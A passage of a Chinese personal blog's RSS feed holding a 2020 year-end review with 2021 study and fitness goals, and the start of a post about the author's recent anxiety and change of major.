]]></content:encoded></item><item><title><![CDATA[2020年总结与新年计划]]></title><description><![CDATA[距离新的一年，还剩下9天，为什么要提前写总结和计划，是因为在这9天里，我也不会有什么突破性的成长了。]]></description><link>https://iobiji.com/2020-summary-and-2021-plan/</link><guid isPermaLink="false">656e0e57d732aa747eb28175</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Wed, 23 Dec 2020 12:47:43 GMT</pubDate><media:content url="https://cdn.iobiji.com/2020/12/avrnu-bm0za.png" medium="image"/><content:encoded><![CDATA[<h1 id="chapter-1-%E5%89%8D%E8%A8%80">Chapter 1 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2020/12/avrnu-bm0za.png" alt="2020&#x5E74;&#x603B;&#x7ED3;&#x4E0E;&#x65B0;&#x5E74;&#x8BA1;&#x5212;"><p>&#x6C38;&#x8FDC;&#x70ED;&#x7231;&#x751F;&#x6D3B;&#xFF0C;&#x6C38;&#x8FDC;&#x671F;&#x5F85;&#x660E;&#x5929;&#x3002;</p>
</blockquote>
<blockquote>
<p>&#xFF08;2020&#x5E74;11&#x6708;15&#x65E5;&#xFF09;&#x51CC;&#x6668;&#xFF0C;&#x6211;&#x6253;&#x5F00;&#x4E86;&#x7535;&#x8111;&#x5199;&#x8D77;&#x4E86;&#x7B14;&#x8BB0;&#xFF0C;&#x676F;&#x5B50;&#x91CC;&#x7684;&#x70ED;&#x6C34;&#x5192;&#x7740;&#x70ED;&#x6C14;&#xFF0C;&#x773C;&#x775B;&#x4E00;&#x95ED;&#x601D;&#x7EEA;&#x7EB7;&#x98DE;&#xFF0C;&#x8111;&#x6D77;&#x4E2D;&#x95EA;&#x8FC7;&#x4E00;&#x4E2A;&#x4E2A;&#x753B;&#x9762;&#xFF0C;&#x4E0D;&#x77E5;&#x4E0D;&#x89C9;&#xFF0C;&#x5DF2;&#x662F;&#x51DB;&#x51BD;&#x51AC;&#x65E5;&#x3002;&#x4E16;&#x754C;&#x4E0A;&#x6700;&#x5FEB;&#x800C;&#x53C8;&#x6700;&#x6162;&#xFF0C;&#x6700;&#x957F;&#x800C;&#x53C8;&#x6700;&#x77ED;&#xFF0C;&#x6700;&#x5E73;&#x51E1;&#x800C;&#x53C8;&#x6700;&#x73CD;&#x8D35;&#xFF0C;&#x6700;&#x6613;&#x88AB;&#x5FFD;&#x89C6;&#x800C;&#x53C8;&#x6700;&#x4EE4;&#x4EBA;&#x540E;&#x6094;&#x7684;&#x5C31;&#x662F;&#x65F6;&#x95F4;&#x3002;</p>
</blockquote>
<p>&#x8DDD;&#x79BB;&#x65B0;&#x7684;&#x4E00;&#x5E74;&#xFF0C;&#x8FD8;&#x5269;&#x4E0B;9&#x5929;&#xFF0C;&#x4E3A;&#x4EC0;&#x4E48;&#x8981;&#x63D0;&#x524D;&#x5199;&#x603B;&#x7ED3;&#x548C;&#x8BA1;&#x5212;&#xFF0C;&#x662F;&#x56E0;&#x4E3A;&#x5728;&#x8FD9;9&#x5929;&#x91CC;&#xFF0C;&#x6211;&#x4E5F;&#x4E0D;&#x4F1A;&#x6709;&#x4EC0;&#x4E48;&#x7A81;&#x7834;&#x6027;&#x7684;&#x6210;&#x957F;&#x4E86;&#x3002;</p>
<h1 id="chapter-2">Chapter 2</h1>
<p>&#x67E5;&#x9605;&#x53BB;&#x5E74;&#x7ACB;&#x4E0B;&#x7684;&#x76EE;&#x6807;&#xFF0C;&#x6709;&#x4E00;&#x4E2A;&#x76EE;&#x6807;&#x6CA1;&#x6709;&#x5B8C;&#x6210;&#xFF08;&#x56E0;&#x4E3A;&#x8FD8;&#x4E0D;&#x77E5;&#x9053;&#x7ED3;&#x679C;&#xFF0C;&#x4E0D;&#x8FC7;&#x7ED3;&#x679C;&#x4F1A;&#x662F;&#x5B8C;&#x6210;&#x7684;&#xFF09;&#xFF0C;&#x6240;&#x4EE5;&#x5230;&#x5E74;&#x5E95;&#x4E3A;&#x6B62;&#xFF0C;&#x81EA;&#x6211;&#x5B66;&#x4E60;&#x6536;&#x76CA;&#x611F;&#x89C9;&#x4E0D;&#x9519;&#xFF0C;&#x5982;&#x679C;&#x8981;&#x6253;&#x5206;&#x7684;&#x8BDD;&#xFF0C;&#x6211;&#x60F3;&#x5E94;&#x8BE5;&#x662F;<code>&#x826F;&#x597D;</code>&#x4EE5;&#x4E0A;&#xFF0C;<code>&#x4F18;&#x79C0;</code>&#x672A;&#x6EE1;&#x3002;<br>
&#x53BB;&#x5E74;&#x76EE;&#x6807;&#xFF08;&#x6253;<code>x</code>&#x4EE3;&#x8868;&#x5DF2;&#x5B8C;&#x6210;&#x76EE;&#x6807;&#xFF09;&#xFF1A;</p>
<ul>
<li>[x] &#x5065;&#x8EAB;</li>
<li>[x] &#x63A7;&#x5236;&#x813E;&#x6C14;</li>
<li>[x] &#x8FC7;&#x56DB;&#x7EA7;</li>
<li>[x] &#x5B66;&#x4E60;<code>JAVA</code></li>
<li>[x] &#x6DF1;&#x5165;<code>JS</code>&#x5B66;&#x4E60;</li>
<li>[x] &#x6DF1;&#x5165;<code>vue3</code>&#x5B66;&#x4E60;</li>
</ul>
<h1 id="chapter-3">Chapter 3</h1>
<p>&#x5176;&#x5B9E;&#x5230;&#x73B0;&#x5728;&#x5427;&#xFF0C;&#x82B1;&#x4E86;&#x5927;&#x91CF;&#x7684;&#x65F6;&#x95F4;&#x601D;&#x8003;&#x9009;&#x62E9;&#x9002;&#x5408;&#x81EA;&#x5DF1;&#x7684;&#x540E;&#x7AEF;&#x8BED;&#x8A00;&#xFF0C;&#x4E00;&#x4F4D;&#x670B;&#x53CB;&#x8DDF;&#x6211;&#x8BF4;&#xFF0C;&#x5982;&#x679C;&#x60F3;&#x8D5A;&#x94B1;&#x5C31;&#x9009;<code>JAVA</code>&#x5427;&#xFF0C;&#x81EA;&#x5DF1;&#x4E5F;&#x5199;&#x4E86;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x7684;<code>JAVA</code>&#xFF0C;&#x611F;&#x89C9;&#x86EE;&#x9002;&#x5408;&#x81EA;&#x5DF1;&#xFF0C;&#x65E2;&#x7136;&#x5982;&#x6B64;&#xFF0C;&#x4EE5;&#x540E;&#x5C31;&#x4EE5;<code>JAVA</code>&#x4E3A;&#x4E3B;&#xFF0C;<code>PHP</code>&#x4F5C;&#x4E3A;&#x81EA;&#x5DF1;&#x540E;&#x7AEF;&#x7684;&#x7B2C;&#x4E8C;&#x8BED;&#x8A00;&#x3002;</p>
<h2 id="%E7%9B%AE%E5%89%8D%E8%87%AA%E8%BA%AB%E6%8A%80%E6%9C%AF%E6%A0%88">&#x76EE;&#x524D;&#x81EA;&#x8EAB;&#x6280;&#x672F;&#x6808;</h2>
<ul>
<li><code>Node.js</code></li>
</ul>
<h3 id="%E5%89%8D%E7%AB%AF">&#x524D;&#x7AEF;</h3>
<ul>
<li><code>JavaScript</code></li>
<li><code>TypeScript</code></li>
<li><code>React Native</code></li>
<li><code>UNI-App</code></li>
<li><code>Taro</code></li>
<li><code>Vue.js</code></li>
<li><code>React.js</code></li>
</ul>
<h3 id="%E5%90%8E%E7%AB%AF">&#x540E;&#x7AEF;</h3>
<ul>
<li><code>JAVA</code></li>
<li><code>PHP</code></li>
<li><code>GO</code></li>
<li><code>PYTHON</code></li>
<li><code>NESTJS</code></li>
<li><code>Springboot</code></li>
<li><code>beego</code></li>
<li><code>gin</code></li>
</ul>
<h1 id="%E5%B7%A5%E4%BD%9C">&#x5DE5;&#x4F5C;</h1>
<p>&#x76EE;&#x524D;&#x662F;&#x4E00;&#x540D;&#x517C;&#x804C;&#x5916;&#x5305;&#x7684;WEB&#x5168;&#x6808;&#x5DE5;&#x7A0B;&#x5E08;&#xFF0C;&#x867D;&#x7136;&#x6536;&#x5165;&#x53EF;&#x89C2;&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x7A33;&#x5B9A;&#x3002;&#x5176;&#x5B9E;&#x86EE;&#x60F3;&#x73B0;&#x5728;&#x5C31;&#x51FA;&#x53BB;&#x5B9E;&#x4E60;&#xFF0C;&#x4F46;&#x662F;&#x76EE;&#x524D;&#x6211;&#x7684;&#x73B0;&#x72B6;&#x4E0D;&#x5141;&#x8BB8;&#x3002;</p>
<p>&#x771F;&#x771F;&#x6B63;&#x6B63;&#x4F5C;&#x4E3A;&#x4E00;&#x540D;WEB&#x5168;&#x6808;&#x5DE5;&#x7A0B;&#x5E08;&#x7B97;&#x8D77;&#x6765;&#x4E5F;&#x6709;1&#x5E74;&#x4E86;&#x5427;&#xFF0C;&#x5199;&#x8FC7;&#x7684;&#x9879;&#x76EE;&#x4E0D;&#x5C11;&#xFF0C;&#x79EF;&#x7D2F;&#x7684;&#x7ECF;&#x9A8C;&#x4E5F;&#x4E0D;&#x5C11;&#x3002;&#x73B0;&#x5728;&#x5BF9;&#x4E8E;&#x5F00;&#x53D1;&#x8F6F;&#x4EF6;&#x7684;&#x6001;&#x5EA6;&#x548C;&#x601D;&#x8DEF;&#xFF0C;&#x6709;&#x4E86;&#x8D28;&#x4E00;&#x6837;&#x7684;&#x98DE;&#x8DC3;&#x3002;&#x81EA;&#x6211;&#x603B;&#x7ED3;&#x4E00;&#x4E0B;&#x5173;&#x4E8E;&#x9879;&#x76EE;&#x7ECF;&#x9A8C;&#x7684;&#x51E0;&#x70B9;&#xFF1A;</p>
<ol>
<li>
<p>&#x660E;&#x786E;&#x9879;&#x76EE;&#x5230;&#x5E95;&#x662F;&#x505A;&#x4E9B;&#x4EC0;&#x4E48;&#xFF0C;&#x6709;&#x54EA;&#x4E9B;&#x529F;&#x80FD;&#xFF1F;</p>
</li>
<li>
<p>&#x660E;&#x786E;&#x9879;&#x76EE;&#x7684;&#x6574;&#x4F53;&#x67B6;&#x6784;&#xFF0C;&#x80FD;&#x591F;&#x6E05;&#x695A;&#x5730;&#x753B;&#x51FA;&#x6765;&#x5E76;&#x6307;&#x51FA;&#x4ECE;&#x54EA;&#x91CC;&#x8C03;&#x7528;&#x5230;&#x54EA;&#x91CC;&#x3001;&#x4F7F;&#x7528;&#x4EC0;&#x4E48;&#x65B9;&#x5F0F;&#x8C03;&#x7528;</p>
</li>
<li>
<p>&#x660E;&#x786E;&#x6A21;&#x5757;&#x5728;&#x6574;&#x4E2A;&#x9879;&#x76EE;&#x4E2D;&#x6240;&#x5904;&#x7684;&#x4F4D;&#x7F6E;&#x53CA;&#x4F5C;&#x7528;</p>
</li>
<li>
<p>&#x660E;&#x786E;&#x6A21;&#x5757;&#x7528;&#x5230;&#x4E86;&#x54EA;&#x4E9B;&#x6280;&#x672F;&#xFF0C;&#x66F4;&#x597D;&#x4E00;&#x4E9B;&#x7684;&#x53EF;&#x4EE5;&#x518D;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x6574;&#x4E2A;&#x9879;&#x76EE;&#x7528;&#x5230;&#x4E86;&#x54EA;&#x4E9B;&#x6280;&#x672F;</p>
</li>
</ol>
<p><strong>&#x4E00;&#x4E9B;&#x597D;&#x4E60;&#x60EF;&#x5E94;&#x8BE5;&#x8981;&#x575A;&#x6301;&#xFF01;</strong></p>
<ul>
<li>
<p>&#x5584;&#x4E8E;&#x4F7F;&#x7528;&#x641C;&#x7D22;</p>
<p>&#x5728;&#x5199;&#x9879;&#x76EE;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x786E;&#x786E;&#x5B9E;&#x5B9E;&#x4F1A;&#x9047;&#x5230;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#xFF0C;&#x8BE2;&#x95EE;&#x65E0;&#x679C;&#x540E;&#xFF0C;&#x6211;&#x603B;&#x4F1A;<code>Google</code>&#x4E00;&#x4E0B;&#xFF0C;&#x6700;&#x7EC8;&#x5F97;&#x5230;&#x7B54;&#x6848;&#x3002;</p>
</li>
<li>
<p>&#x52E4;&#x8BB0;&#x7B14;&#x8BB0;</p>
<p>&#x4FD7;&#x8BDD;&#x8BF4;&#x7684;&#x597D;&#xFF0C;&#x300C;&#x597D;&#x8BB0;&#x6027;&#x4E0D;&#x5982;&#x70C2;&#x7B14;&#x5934;&#x300D;&#xFF0C;&#x81EA;&#x6211;&#x611F;&#x89C9;&#x81EA;&#x5DF1;&#x7684;&#x8BB0;&#x6027;&#x5DF2;&#x7ECF;&#x5927;&#x4E0D;&#x5982;&#x524D;&#x4E86;&#xFF0C;&#x5BF9;&#x4E8E;&#x7ECF;&#x5E38;&#x7528;&#x5230;&#x7684;&#x4E1C;&#x897F;&#x8FD8;&#x597D;&#xFF0C;&#x5982;&#x679C;&#x662F;&#x51B7;&#x95E8;&#x77E5;&#x8BC6;&#xFF0C;&#x867D;&#x7136;&#x6709;&#x5370;&#x8C61;&#xFF0C;&#x4F46;&#x4E00;&#x65F6;&#x60F3;&#x4E0D;&#x8D77;&#x6765;&#x5177;&#x4F53;&#x4E86;&#x3002;&#x5728;&#x7B14;&#x8BB0;&#x7684;&#x5E2E;&#x52A9;&#x4E0B;&#xFF0C;&#x9879;&#x76EE;&#x4E2D;&#x9047;&#x5230;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6211;&#x4E5F;&#x53EF;&#x4EE5;&#x5FEB;&#x901F;&#x7FFB;&#x9605;&#x5F97;&#x5230;&#x7B54;&#x6848;&#x3002;</p>
</li>
</ul>
<p>&#x6700;&#x540E;&#xFF0C;&#x6709;&#x65F6;&#x95F4;&#x7684;&#x8BDD;&#xFF0C;&#x6211;&#x4F1A;&#x5B66;&#x4E60;&#x3001;&#x7814;&#x7A76;&#x4E00;&#x4E0B;<code>SOA</code>&#x548C;<code>RPC</code>&#x3002;</p>
<h1 id="%E7%94%9F%E6%B4%BB">&#x751F;&#x6D3B;</h1>
<p>&#x73B0;&#x5728;&#x7B97;&#x662F;&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;<code>freshman</code>&#xFF0C;&#x516C;&#x5171;&#x8BFE;&#x5728;&#x4E4B;&#x524D;&#x8C03;&#x5242;&#x7684;&#x4E13;&#x4E1A;&#x90FD;&#x4E0A;&#x8FC7;&#xFF0C;&#x57FA;&#x672C;&#x6765;&#x8BF4;&#x53EF;&#x4EE5;&#x8BA9;&#x6211;&#x7A7A;&#x51FA;&#x5F88;&#x591A;&#x7684;&#x65F6;&#x95F4;&#x5904;&#x7406;&#x81EA;&#x5DF1;&#x7684;&#x4E8B;&#x60C5;&#x3002;&#x5F00;&#x5B66;&#x4E4B;&#x540E;&#x90A3;&#x6BB5;&#x65F6;&#x95F4;&#xFF0C;&#x786E;&#x5B9E;&#x5FD9;&#x5F97;&#x4E0D;&#x53EF;&#x5F00;&#x4EA4;&#xFF0C;&#x7ECF;&#x5E38;&#x996D;&#x70B9;&#x90FD;&#x987E;&#x4E0D;&#x4E0A;&#xFF0C;&#x5BFC;&#x81F4;&#x73B0;&#x5728;&#x7ECF;&#x5E38;&#x80C3;&#x75DB;&#xFF0C;&#x6709;&#x65F6;&#x5019;&#x80C3;&#x9178;&#x5012;&#x6D41;&#xFF0C;&#x96BE;&#x53D7;&#x5F97;&#x4E0D;&#x884C;&#xFF0C;&#x7CBE;&#x795E;&#x4E5F;&#x662F;&#x840E;&#x9761;&#x7684;&#x3002;&#x6240;&#x4EE5;&#x5F00;&#x5B66;&#x5230;&#x73B0;&#x5728;&#x4E00;&#x76F4;&#x575A;&#x6301;&#x5065;&#x8EAB;&#xFF0C;&#x6548;&#x679C;&#x662F;&#x6781;&#x597D;&#x7684;&#xFF0C;&#x820D;&#x53CB;&#x4E5F;&#x8BF4;&#x53D8;&#x5316;&#x5F88;&#x5927;&#x3002;</p>
<p>&#x8BF4;&#x5230;&#x7126;&#x8651;&#xFF0C;&#x8FD8;&#x662F;&#x5F88;&#x96BE;&#x4E0D;&#x53BB;&#x7126;&#x8651;&#xFF0C;&#x7A81;&#x7136;&#x5C31;&#x4F1A;&#x81EA;&#x6211;&#x5D29;&#x6E83;&#xFF0C;&#x5FC3;&#x60B8;&#xFF0C;&#x60F3;&#x4E0D;&#x51FA;&#x6765;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x3002;&#x6709;&#x65F6;&#x5019;&#x83AB;&#x540D;&#x7684;&#x538B;&#x529B;&#x8D85;&#x51FA;&#x81EA;&#x5DF1;&#x7684;&#x627F;&#x53D7;&#x80FD;&#x529B;&#x5BFC;&#x81F4;&#x81EA;&#x5DF1;&#x4E27;&#x5931;&#x4E0A;&#x8FDB;&#x5FC3;&#xFF0C;&#x5931;&#x53BB;&#x76EE;&#x6807;&#xFF0C;&#x53D8;&#x5F97;&#x8FF7;&#x832B;&#x3002;&#x4E0D;&#x8FC7;&#x6211;&#x4F1A;&#x597D;&#x597D;&#x8C03;&#x8282;&#x81EA;&#x5DF1;&#x7684;&#x3002;</p>
<h1 id="chapter-4">Chapter 4</h1>
<p>&#x539F;&#x672C;2020&#x5E74;&#x662F;&#x5E73;&#x6DE1;&#x65E0;&#x5947;&#x7684;&#x4E00;&#x5E74;&#xFF0C;&#x591A;&#x5F97;&#x5979;&#x7684;&#x51FA;&#x73B0;&#xFF0C;&#x8BA9;&#x8FD9;&#x4E0D;&#x8D77;&#x6CE2;&#x6F9C;&#x7684;&#x65E5;&#x590D;&#x4E00;&#x65E5;&#xFF0C;&#x53D8;&#x5F97;&#x671F;&#x5F85;&#x4E86;&#x8D77;&#x6765;&#xFF0C;&#x81EA;&#x5DF1;&#x5B89;&#x6392;&#x4E0B;&#x53BB;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x6211;&#x603B;&#x4F1A;&#x5B8C;&#x6210;&#xFF0C;&#x4E00;&#x5207;&#x90FD;&#x6709;&#x6761;&#x4E0D;&#x7D0A;&#x3002;&#x65B0;&#x7684;&#x4E00;&#x5E74;&#x6765;&#x4E86;&#xFF0C;&#x6211;&#x4E5F;&#x8981;&#x5F00;&#x59CB;&#x5236;&#x4F5C;&#x65B0;&#x7684;&#x8BA1;&#x5212;&#x4E86;&#xFF0C;<strong>&#x6211;&#x6B63;&#x5728;&#x8DEF;&#x4E0A;&#xFF0C;&#x5728;&#x8715;&#x53D8;&#xFF0C;&#x4EE5;&#x540E;&#x4E5F;&#x4F1A;&#x66F4;&#x52A0;&#x5F3A;&#x5927;</strong>&#x3002;</p>
<h2 id="2021%E5%B9%B4%E6%8A%80%E6%9C%AF%E7%9B%AE%E6%A0%87">2021&#x5E74;&#x6280;&#x672F;&#x76EE;&#x6807;</h2>
<ul>
<li>
<p>[x] &#x7EE7;&#x7EED;&#x6DF1;&#x5165;<code>Vue3</code>&#x5B66;&#x4E60;</p>
</li>
<li>
<p>[x] &#x6DF1;&#x5165;<code>JAVA</code>&#x5B66;&#x4E60;</p>
</li>
<li>
<p>[x] &#x5B66;&#x4E60;<code>PYTHON</code>&#x57FA;&#x7840;</p>
</li>
<li>
<p>[x] &#x638C;&#x63E1;GO</p>
</li>
</ul>
<h2 id="2021%E5%B9%B4%E8%87%AA%E8%BA%AB%E7%9B%AE%E6%A0%87">2021&#x5E74;&#x81EA;&#x8EAB;&#x76EE;&#x6807;</h2>
<ul>
<li>
<p>[x] &#x7EE7;&#x7EED;&#x575A;&#x6301;&#x6BCF;&#x65E5;&#x953B;&#x70BC;</p>
</li>
<li>
<p>[x] &#x751F;&#x6D3B;&#x8981;&#x6709;&#x4EEA;&#x5F0F;&#x611F;</p>
</li>
<li>
<p>[x] &#x8FC7;&#x516D;&#x7EA7;</p>
</li>
<li>
<p>[x] &#x8BA4;&#x771F;&#x8BAD;&#x7EC3;</p>
</li>
<li>
<p>[x] &#x63D0;&#x5347;&#x82F1;&#x8BED;&#x53E3;&#x8BED;</p>
</li>
</ul>
<h1 id="%E7%BB%93%E8%AF%AD">&#x7ED3;&#x8BED;</h1>
<p>&#x6666;&#x6DA9;&#x53C8;&#x96BE;&#x901A;&#x7684;&#x8BED;&#x53E5;&#x62FC;&#x5408;&#x51FA;&#x6574;&#x7BC7;&#x6D41;&#x6C34;&#x8D26;&#x6587;&#x7AE0;&#xFF0C;&#x867D;&#x7136;&#x6CA1;&#x6709;&#x534E;&#x4E3D;&#x7684;&#x8F9E;&#x85FB;&#xFF0C;&#x4F46;&#x4E5F;&#x603B;&#x7B97;&#x662F;&#x5BF9;&#x81EA;&#x5DF1;&#x6709;&#x4E2A;&#x4EA4;&#x4EE3;&#x3002;<br>
&#x5199;&#x5230;&#x8FD9;&#x91CC;&#xFF0C;&#x5C31;&#x4EE5;&#x6700;&#x540E;&#x7684;&#x9E21;&#x6C64;&#x4F5C;&#x4E3A;&#x7ED3;&#x5C3E;&#x5427;&#x3002;<br>
&#x5C31;&#x4EE5;&#x8FD9;&#x6BB5;&#x8BDD;&#x81EA;&#x52C9;&#x3001;&#x5171;&#x52C9;&#x5427;&#x3002;<em><strong>&#x8D8A;&#x52AA;&#x529B;&#x3001;&#x8D8A;&#x5E78;&#x8FD0;&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x4E0D;&#x662F;&#x5B98;&#x4E8C;&#x4EE3;&#x3001;&#x5BCC;&#x4E8C;&#x4EE3;&#x3001;&#x7EA2;&#x4E8C;&#x4EE3;&#xFF0C;&#x90A3;&#x4E48;&#x8BF7;&#x8BB0;&#x4F4F;&#xFF1A;&#x52E4;&#x594B;&#x624D;&#x662F;&#x6539;&#x53D8;&#x4F60;&#x547D;&#x8FD0;&#x7684;&#x552F;&#x4E00;&#x6377;&#x5F84;&#x3002;</strong></em></p>
<h1 id="%E5%90%8E%E8%AE%B0">&#x540E;&#x8BB0;</h1>
<p>&#x8F6C;&#x773C;&#x95F4;&#xFF0C;2020&#x5E74;&#x53EA;&#x5269;&#x6700;&#x540E;7&#x5929;&#x4E86;&#xFF0C;&#x5728;&#x5E74;&#x672B;&#x56DE;&#x671B;&#x8FD9;&#x7279;&#x6B8A;&#x7684;&#x4E00;&#x5E74;&#xFF0C;&#x60F3;&#x5FC5;&#x6BCF;&#x4E2A;&#x4EBA;&#x90FD;&#x5FC3;&#x6709;&#x611F;&#x6168;&#x3002;&#x6211;&#x4EEC;&#x89C1;&#x8BC1;&#x4E86;&#x4E58;&#x98CE;&#x7834;&#x6D6A;&#x3001;&#x751F;&#x547D;&#x81F3;&#x4E0A;&#xFF0C;&#x4E5F;&#x5B66;&#x4F1A;&#x4E86;&#x52C7;&#x6562;&#x6500;&#x767B;&#x3001;&#x8FCE;&#x96BE;&#x800C;&#x4E0A;&#x3002;<br>
2020&#x6700;&#x540E;&#x4E00;&#x5468;&#xFF0C;&#x5373;&#x4F7F;&#x6709;&#x9057;&#x61BE;&#xFF0C;&#x4E5F;&#x8981;&#x76F8;&#x4FE1;&#x672A;&#x6765;&#x3001;&#x4E0D;&#x8D1F;&#x8FC7;&#x5F80;&#xFF1B;&#x5373;&#x4F7F;&#x6240;&#x5269;&#x4E0D;&#x591A;&#xFF0C;&#x4E5F;&#x8981;&#x73CD;&#x60DC;&#x65F6;&#x5149;&#x3001;&#x7EE7;&#x7EED;&#x5411;&#x4E0A;&#xFF01;</p>
<p><strong>&#x9884;&#x795D;&#x5927;&#x5BB6;&#x65B0;&#x5E74;&#x5FEB;&#x4E50;&#xFF01;</strong></p>
]]></content:encoded></item><item><title><![CDATA[记近期]]></title><description><![CDATA[转眼间已经是十一月了，上次发博文的时间已经是六月十二日，最近已经感觉到自己很不对劲，就在今天焦虑涌上心头，很强烈，想写点什么就记录下来。]]></description><link>https://iobiji.com/myrecentlife/</link><guid isPermaLink="false">656e0e57d732aa747eb28174</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Sun, 01 Nov 2020 06:24:52 GMT</pubDate><media:content url="https://cdn.iobiji.com/2020/11/recentlife1.png" medium="image"/><content:encoded><![CDATA[<h1 id="%E8%BF%91%E6%9C%9F">&#x8FD1;&#x671F;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2020/11/recentlife1.png" alt="&#x8BB0;&#x8FD1;&#x671F;"><p>&#x4E0D;&#x77E5;&#x9053;&#x4ECE;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x5F00;&#x59CB;&#xFF0C;&#x6211;&#x597D;&#x50CF;&#x5931;&#x53BB;&#x4E86;&#x65B9;&#x5411;&#xFF0C;&#x6BCF;&#x5929;&#x8FC7;&#x5F97;&#x6D51;&#x6D51;&#x5669;&#x5669;&#xFF0C;&#x6BCF;&#x665A;&#x90FD;&#x8F97;&#x8F6C;&#x53CD;&#x4FA7;&#xFF0C;&#x7EC8;&#x4E8E;&#x662F;&#x7761;&#x7740;&#x4E86;&#xFF0C;&#x53C8;&#x5230;&#x4E86;&#x7B2C;&#x4E8C;&#x5929;&#x54CD;&#x5348;&#xFF0C;&#x51FA;&#x95E8;&#x5403;&#x5348;&#x996D;&#x56DE;&#x6765;&#xFF0C;&#x53C8;&#x662F;&#x5728;&#x5E8A;&#x4E0A;&#x8EBA;&#x5C38;&#xFF0C;&#x7B49;&#x5F85;&#x7740;&#x4F53;&#x80B2;&#x9986;&#x5F00;&#x95E8;&#x6253;&#x7403;&#x3002;&#x6211;&#x597D;&#x50CF;&#x4E0D;&#x518D;&#x5B66;&#x4E60;&#x4E0D;&#x518D;&#x6C89;&#x6DC0;&#x81EA;&#x5DF1;&#xFF0C;&#x51E0;&#x4E4E;&#x5927;&#x90E8;&#x5206;&#x7684;&#x65F6;&#x95F4;&#x90FD;&#x662F;&#x5728;&#x5BF9;&#x7740;&#x624B;&#x673A;&#x3002;&#x5BF9;&#x4E00;&#x5207;&#x90FD;&#x63D0;&#x4E0D;&#x8D77;&#x5174;&#x8DA3;&#xFF0C;&#x6BCF;&#x5929;&#x90FD;&#x6297;&#x62D2;&#x9762;&#x5BF9;&#x751F;&#x6D3B;&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x5F97;&#x4E0D;&#x9762;&#x5BF9;&#x3002;&#x6BCF;&#x5929;&#x90FD;&#x5F88;&#x96BE;&#x53D7;&#xFF0C;&#x53EF;&#x6BCF;&#x5929;&#x53C8;&#x8981;&#x88C5;&#x4F5C;&#x82E5;&#x65E0;&#x5176;&#x4E8B;&#x7684;&#x6837;&#x5B50;&#x3002;</p>
</blockquote>
<p>&#x8F6C;&#x773C;&#x95F4;&#x5DF2;&#x7ECF;&#x662F;&#x5341;&#x4E00;&#x6708;&#x4E86;&#xFF0C;&#x4E0A;&#x6B21;&#x53D1;&#x535A;&#x6587;&#x7684;&#x65F6;&#x95F4;&#x5DF2;&#x7ECF;&#x662F;&#x516D;&#x6708;&#x5341;&#x4E8C;&#x65E5;&#xFF0C;&#x6700;&#x8FD1;&#x5DF2;&#x7ECF;&#x611F;&#x89C9;&#x5230;&#x81EA;&#x5DF1;&#x5F88;&#x4E0D;&#x5BF9;&#x52B2;&#xFF0C;&#x5C31;&#x5728;&#x4ECA;&#x5929;&#x7126;&#x8651;&#x6D8C;&#x4E0A;&#x5FC3;&#x5934;&#xFF0C;&#x5F88;&#x5F3A;&#x70C8;&#xFF0C;&#x60F3;&#x5199;&#x70B9;&#x4EC0;&#x4E48;&#x5C31;&#x8BB0;&#x5F55;&#x4E0B;&#x6765;&#x3002;</p>
<h1 id="%E7%94%9F%E6%B4%BB">&#x751F;&#x6D3B;</h1>
<p>&#x9F3B;&#x708E;&#x8FD8;&#x662F;&#x8001;&#x6BDB;&#x75C5;&#xFF0C;&#x5BB6;&#x4EBA;&#x4EEC;&#x90FD;&#x529D;&#x6211;&#x53BB;&#x770B;&#x770B;&#xFF0C;&#x4F46;&#x6211;&#x5C31;&#x662F;&#x4E0D;&#x60F3;&#x53BB;&#x7406;&#x5B83;&#xFF0C;&#x56E0;&#x4E3A;&#x6211;&#x77E5;&#x9053;&#x4E00;&#x65E6;&#x7126;&#x8651;&#x4E86;&#xFF0C;&#x5438;&#x9F3B;&#x5B50;&#x5C31;&#x4F1A;&#x7279;&#x522B;&#x5389;&#x5BB3;&#xFF0C;&#x4E45;&#x800C;&#x4E45;&#x4E4B;&#xFF0C;&#x6211;&#x4E5F;&#x4E60;&#x60EF;&#x4E86;&#x3002;&#x4E5F;&#x5C31;&#x5728;&#x4ECA;&#x5E74;&#x7684;&#x7B2C;&#x4E00;&#x5B66;&#x671F;&#x5F00;&#x5B66;&#xFF0C;&#x6211;&#x6700;&#x7EC8;&#x8FD8;&#x662F;&#x9009;&#x62E9;&#x4E86;&#x8F6C;&#x4E13;&#x4E1A;&#xFF0C;&#x867D;&#x7136;&#x662F;&#x9700;&#x8981;&#x591A;&#x8BFB;&#x4E00;&#x5E74;&#xFF08;&#x76F8;&#x5F53;&#x4E8E;&#x91CD;&#x8BFB;&#x5927;&#x4E00;&#xFF09;&#xFF0C;&#x4F46;&#x662F;&#x6211;&#x9009;&#x62E9;&#x4E86;&#x5C31;&#x4E0D;&#x540E;&#x6094;&#xFF0C;&#x6211;&#x4E0D;&#x60F3;&#x4EE5;&#x540E;&#x4F1A;&#x540E;&#x6094;&#x6211;&#x6CA1;&#x6709;&#x9009;&#x62E9;&#x8F6C;&#x4E13;&#x4E1A;&#xFF0C;&#x56E0;&#x4E3A;&#x65E7;&#x4E13;&#x4E1A;&#xFF0C;&#x6211;&#x662F;&#x771F;&#x7684;&#x4E00;&#x70B9;&#x5174;&#x8DA3;&#x90FD;&#x6CA1;&#x6709;&#xFF0C;&#x6709;&#x7684;&#x60C5;&#x7EEA;&#x751A;&#x81F3;&#x662F;&#x6076;&#x5FC3;&#x4EE5;&#x53CA;&#x538C;&#x6076;&#xFF0C;&#x6211;&#x4E5F;&#x66F4;&#x52A0;&#x575A;&#x4FE1;&#x4E86;&#x5174;&#x8DA3;&#x662F;&#x81EA;&#x5DF1;&#x6700;&#